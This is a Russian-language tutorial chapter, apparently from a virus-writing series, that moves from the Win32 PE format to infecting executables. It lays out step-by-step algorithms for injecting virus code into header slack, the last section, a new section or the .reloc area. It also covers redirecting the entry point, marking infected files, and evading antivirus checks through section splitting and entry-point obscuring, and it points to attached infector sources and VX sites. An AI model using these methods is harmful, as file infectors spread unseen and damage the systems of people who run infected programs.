В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Скачайте исходный код здесь ( c сылка на файл PEInsideConsole.rar).

Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу можно здесь (ссылка на файл PEInsideBin.rar). Скачать исходный код проекта VisualC++ можно здесь (ссылка на файл PEInsideSrc.rar). Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.

PE64 – это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется - это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.

Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все тонкости PE-формата - это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Я собрал все нужные структуры в один файл и выкладываю здесь (ссылка на файл pestruct.doc). Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша ;)

Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.

Мы отвлеклись. Вот стандартные действия Windows-вируса:

1) Поиск файлов для заражения.

2) Проверка, не заражен ли уже файл.

3) Если нет, то заражаем.

Исходя из этих действий выдвигается новая тема. Итак…

Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия – это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose – соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на «Танго мастдайное». Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Что получить имя найденного файла используйте член структуры WIN32_FIND_DATA – cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>F3,F3,F3,0. Где F3 и 0 – это байты. Чтобы получить нормальный путь к файлу надо убрать 3 F3 байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.

Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.

У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:

1. Найти конец таблицы секций

2. Найти физическое смещение 1 секции

3. Вычислить максимальный размер кода, который можно внедрить

4. Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.

5. Записать код.

6. В конец кода установить jmp нормальную AddressOfEntryPoint

7. Изменить AddressOfEntryPoint

8. Изменить SizeOfHeaders на физическое смещение последней секции

9. Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.

При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.

Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect

Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты - 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:

Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт – средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.

Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:

Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:

После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:

После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:

mov EDI,<Старая_точка_входа+ImageBase>;BFXXXXXXXX

jmp edi;FFE7

Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями.

В этом(ссылка на файл pe_infector1.asm) файле находиться код инфектора. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.

Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:

1. Находим последнюю секцию виртуально и физически.

2. Проверка, не равен ли размер последней секции нулю.

3. Если нет, то записываем в конец секции код вируса.

4. Выравниваем новую секцию с учетом файлового выравнивания.

5. Правим виртуальный и физический размеры секций.

6. Правим точку входа.

7. Правимразмеробраза – ImageSize=VirtualSize+VirtualAddress

8. Правим - характеристики – на 0А0000020h

Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.

Первая проблема, которая возникла – это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:

Y=X+AlignUp(размер_кода+7,FileAlignment),

где X – исходный размер файла, Y – новый размер файла, FileAlignment – файловое выравнивание для файла-жертвы. Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:

В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:

Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:

После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.

При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:

Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:

В файле pe_infector2.asm находиться код инфектора. В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.

Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:

1) Если есть Bound-импорты, то удалить их.

2) Найти конец таблицы секций.

3) Добавить запись о своей секции в таблицу секций.

4) Обновить соответствующие поля.

5) Записать код по нужному файловому смещению.

6) Правим точку входа.

7) Правим размер образа – ImageSize=VirtualSize+VirtualAddress

8) Правим NumberOfSections

Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт – это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл – это проверка названия последней секции. VirtualSize – это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:

SizeOfRawData – берем значение виртуального размера и выравниванием на FileAlignment. Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Воткакяделаюэто:

В файле pe_infector3.asm находиться код инфектора. Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.

В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:

• 1) В таблице директорий удалить запись о базовых поправках.

• 2) Записать код на это место.

• 3) Изменить AddressOfEntryPoint

Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.

Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин – код в шел-код стиле.

Один из продвинутых приемов при заражении файлов является модификация кода программы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO:Entry-PointObscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места – сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer.exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.

1. Основные методы заражения PE EXE [Sars/HI-TECH] www.wasm.ru

2. Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] www.wasm.ru

3. Windows NT and Viruses [Alan Solomon] http://vx.netlux.org

4. MSIL-PE-EXE infection strategies [Benny/29A] http://vx.netlux.org

5. ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] http://cracklab.ru/

6. EPO: Entry-Point Obscuring [GriYo/29A] http://vx.netlux.org

7. An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] http://www.microsoft.com

8. Путь воина - внедрение в pe/coff файлы[Крис Касперски] http://www.insidepro.com/

9. PE Infection school[JHB] http://vx.netlux.org

10. The PE file format [LUEVELSMEYER] http://www.cs.bilkent.edu.tr/~hozgur/PE.TXT

11. Microsoft Portable Executable and Common Object File Format Specification[Microsoft] http://www.microsoft.com

12. PORTABLE EXECUTABLE FORMAT [Micheal J. O'Leary]

13. The Evolution of 32-Bit Windows Viruses[Peter Szor, Eugene Kaspersky] http://vx.netlux.org

14. Optimizing DLL Load Time Performance [Matt Pietrek] http://www.microsoft.com

15. What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] http://www.microsoft.com

16. Injected Evil (executable files infection)[Z0mbie/29a]

17. Загрузчик PE-файлов[Максим М. Гумеров] http://www.rsdn.ru

18. Programming Applications for Microsoft Windows[Jeffrey Richter]

19. Исследование переносимого формата исполнимых файлов "сверху вниз"[Randy Kath] http://education.kulichki.net/comp/hack/27.htm.

20. Infectable Objects 1/2/3/4[Robert Vibert] http://www.secutityfocus.com

21. Ideas and theoryes on PE infection[b0z0/iKx] http://vx.netlux.org

В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи - рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.

Файлы (находится в архиве wasm_files.zip: files/0376/green2red02.zip) к статье.